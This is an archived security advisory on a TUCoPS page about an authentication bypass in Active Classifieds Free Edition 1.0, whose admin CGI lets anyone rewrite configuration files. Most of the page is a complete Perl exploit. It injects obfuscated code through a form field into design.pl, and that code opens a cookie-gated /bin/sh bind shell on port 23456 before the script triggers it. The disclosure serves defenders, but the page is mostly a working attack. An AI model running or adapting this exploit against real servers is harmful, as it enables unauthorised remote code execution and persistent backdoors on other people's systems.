Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!


TUCoPS :: Web :: e-commerce, shopping carts :: acf~1.htm

Active Classifieds Free Edition 1.0 CGI fails to authenticate administrators



Vulnerability

    Active Classifieds

Affected

    Active Classifieds Free Edition 1.0

Description

    Igor  Dobrovitski  found   following.   Active  Classifieds   Free
    Edition from Active Web  Suite Technologies fails to  authenticate
    administrators,   which   allows   unauthorized   modification  of
    configuration files, which in  turn, allows remote arbitrary  code
    execution.   Active  Classifieds  Free  Edition  1.0.   Commercial
    versions may also be vulnerable.

    The problem is in some subroutines in library files that are added
    to 'admin.cgi' through the 'require' statement.  Some  subroutines
    will  happily  accept  input  from  anyone  without  calling   the
    authentication subroutine  and make  changes to  the configuration
    files, which are  require'd by the  script too.   Thus, anyone can
    change settings, including  administrator's password.   Of course,
    it is also possile to  inject our own Perl code  via user-supplied
    variables, which will be written into the configuration files  and
    executed upon the next invocation of the script.

        sub edit_design_variables {

        &admin_login_check;
        .................

    This     subroutine,   for   example,   will   authenticate    the
    administrator and print out the form.

        sub submit_edit_design_variables {

        &exclusive_lockfile(LOCK);

        open (DESIGN, ">$require_path/variables/design.pl");
        ........................

    This  subroutine,  however,  won't  bother with authentication and
    will write user input to 'design.pl'

    Exploit:

    #!/usr/bin/perl -w
    # exploit by Igor Dobrovitski noident@my-deja.com
    # This exploit will spawn an interactive shell on port 23456
    # A configuration file that is added to the admin.cgi at runtime through 'require' statement
    # can be ovewritten. We can write to that file, but can't read it, so we simply restore
    # the default settings. If the administrator made changes to the file
    # 'websites/default/variables/design.pl', those changes will be lost and defaults restored.
    # Our shell code is also written to that file, but will only be executed if the password
    # cookie is supplied. Whoever else invokes the script won't trigger the shell.
    # Enjoy
    use Socket;
    $| = 1;
    ####################################################################################################
    $password = 'noident';   # Our cookie password, change it if you want, don't set to empty string
    # Some metacharacters, like quotes and '&'  are filtered so  the code looks a bit weird
    $exec_code = 'use Socket;$shell = (chr 47) . bin . (chr 47) . sh . (chr 32) . (chr 45) . (chr 105);socket(SOCK, PF_INET, SOCK_STREAM, 6);setsockopt(SOCK, SOL_SOCKET, SO_REUSEADDR, 1);$port=23456;bind(SOCK, sockaddr_in($port, INADDR_ANY));listen(SOCK, 1);a
    ccept (NEW, SOCK);if(!fork()){open STDIN, (chr 60) . (chr 38) . NEW; open STDOUT, (chr 62) . (chr 38) . NEW;open STDERR, (chr 62) . (chr 38) . NEW;exec $shell}else{close NEW;exit;}';
    ####################################################################################################
    unless(defined $ARGV[0]) {die "Usage: $0 www.example.com/cgi-bin/blah/classifieds/admin.cgi\n"}
    $ARGV[0] =~ s|^(?:http://)*||;
    ($host, $scriptpath) = $ARGV[0] =~ m|^(.*?)(/.*)$|;
    my $form = makeform({
        'request' => 'submit_edit_design_variables',
        'bgcolor' => '#FFFFFF',
        'text' => '#000000',
        'link' => 'navy',
        'vlink' => '#aaaaaa',
        'alink' => '#FFCC00',
        'marginheight' => '0',
        'marginwidth' => '0',
        'topmargin' => '0',
        'leftmargin' => '0',
        'background' => '',
    
        'table_width' => "600';\nif(\$ENV{HTTP_COOKIE} eq \'$password\'){$exec_code}\n\$blah = '",
        'header_row_color' => '#666666',
        'mouse_over_color' => '#DDDDDD',
        'line_color' => '#C0C0C0',
        'alternate_row_color' => '#EEEEEE',
    
        'inverse_font_color' => '#FFFFFF',
        'alternate_font_color' => '#666666',
        'font_face' => 'arial, helvetica',
        'small_font_size' => '1',
        'standard_font_size' => '2',
        'large_font_size' => '3',
    
        'max_records_per_page' => '20',
        'allow_show_all' => 'yes',
        'display_ad_count' => 'yes',
        'display_icons' => 'yes',
        'display_ad_totals' => 'yes',
        'display_ad_postdate' => 'yes',
        'display_location' => 'yes',
    
        'date_format' => '3',
    
        'months' => 'January\nFebruary\nMarch\nApril\nMay\nJune\nJuly\nAugust\nSeptember\nOctober\nNovember\nDecember',
        'shortmonths' => 'Jan\nFeb\nMar\nApr\nMay\nJun\nJul\nAug\nSept\nOct\nNov\nDec',
        'weekdays' => 'Sunday\nMonday\nTuesday\nWednesday\nThursday\nFriday\nSaturday',
        'years' => '2000\n2001\n2002\n2003\n2004',
        'states' => 'Alabama\nAlaska\nArizona\nArkansas\nCalifornia\nColorado\nConnecticut\nDistrict of Columbia\nDelaware\nFlorida\nGeorgia\nGuam\nHawaii\nIdaho\nIllinois\nIndiana\nIowa\nKansas\nKentucky\nLouisiana\nMaine\nMaryland\nMassachusetts\nMichigan\n
    Minnesota\nMississippi\nMissouri\nMontana\nNebraska\nNevada\nNew Hampshire\nNew Jersey\nNew Mexico\nNew York\nNorth Carolina\nNorth Dakota\nOhio\nOklahoma\nOregon\nPennsylvania\nPuerto Rico\nRhode Island\nSouth Carolina\nSouth Dakota\nTennessee\nTexas\nUt
    ah\nVermont\nVirginia\nWashington\nWest Virginia\nWisconsin\nWyoming\n-------------------------\nCanada - Alberta\nCanada - British Columbia\nCanada - Manitoba\nCanada - New Brunswick\nCanada - Newfoundland\nCanada - Northwest Territories\nCanada - Nova S
    cotia\nCanada - Ontario\nCanada - Prince Edward Island\nCanada - Quebec\nCanada - Saskatchewan\nCanada - Yukon\n-------------------------\nUK - Channel Islands\nUK - England - London\nUK - England - Mid\nUK - England - North\n!
    UK - England - Southeast\nUK - England - Southwest\nUK - Isle of Man\nUK - Northern Ireland\nUK - Scotland\nUK - Wales\n-------------------------\nEurope - Eastern Europe\nEurope - France\nEurope - Germany\nEurope - Ireland\nEurope - Italy\nEurope - Nethe
    rlands\nEurope - Scandinavia\nEurope - Other\n-------------------------\nAsia and Pacific - Australia\nAsia and Pacific - India\nAsia and Pacific - Japan\nAsia and Pacific - New Zealand\nAsia and Pacific - Other\n-------------------------\nAfrica\nLatin A
    merica\nMiddle East\nOther Area'
    });
    print "Engaging the enemy. Please stand by...\n";
    for(my $i=0;$i<2;$i++)
    {
    # first time we overwrite the require'd file
    # second time we execute the script, the poisoned file is loaded, checks our cookie and
    # opens the backdoor for us. After that it exits without overwriting the file the 2nd time
        &send($form);
    }
    &oops_the_sploit_did_not_work();
    
    sub makeform
    {
        my $string;
        my @blah;
        my $line  = '';
        my $here;
        my %data = %{$_[0]};
        foreach my $key (keys %data)
        {
            $line .= "$key" . 'AAAA' . "$data{$key}" . 'BBBB';
        }
        $line =~ s|^(.*)BBBB$|$1|;
        $line =~ s/\\n/\n/g;
        $line =~ s/\\t/\t/g;
        $line =~ s/\\e/\e/g;
        $line =~ s/\\f/\f/g;
        $line =~ s/\\r/\r/g;
        $line =~ s/\\0/\0/g;
        foreach my $char (split //, $line)
        {
            if($char !~ m/[A-Za-z0-9._ ]/)
            {
                $char = unpack "H2", $char;
                $char = '%' . "$char";
            }
            push @blah, $char;
        }
        $string = join "",@blah;
        $string =~ s/AAAA/=/g;
        $string =~ s/BBBB/&/g;
        $string =~ s/ /+/g;
        my $cont_len = length($string);
    $here = <<EOF;
    POST $scriptpath HTTP/1.0
    User-Agent: Mozilla (Windows 98)
    Host: $host
    cookie: $password
    Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
    Accept-Encoding: gzip
    Accept-Language: en
    Accept-Charset: iso-8859-1,*,utf-8
    Content-type: application/x-www-form-urlencoded
    Content-length: $cont_len
    
    $string
    EOF
        return $here;
    }
    
    sub send
    {
        my $form_to_send = shift;
        my $h = inet_aton($host) or die "Forward lookup for $host failed\n";
        socket(S,PF_INET,SOCK_STREAM,6) or die "socket prolems\n";
        unless(connect(S,sockaddr_in(80,$h))) {print STDERR "Couldn't connect to " . inet_ntoa($h) . "\n"
    ; close(S); exit 1 }
        select(S);
        $|=1;
        print "$form_to_send";
        local($SIG{ALRM}) = sub { print STDERR "Timeout was expected. The shell awaits you on port 23456\nHave fun and be excellent to the webmaster.\n"; exit };
        alarm(20);
        my @reply=<S>;
        select(STDOUT);
        close(S);
        return @reply;
    }
    
    sub oops_the_sploit_did_not_work
    {
        print STDERR "The exploit didn't work on this host\nSorry...\n";
        exit;
    }

Solution

    There is no  one-line solution to  it.  &admin_login_check  should
    be called where appropriate.


TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH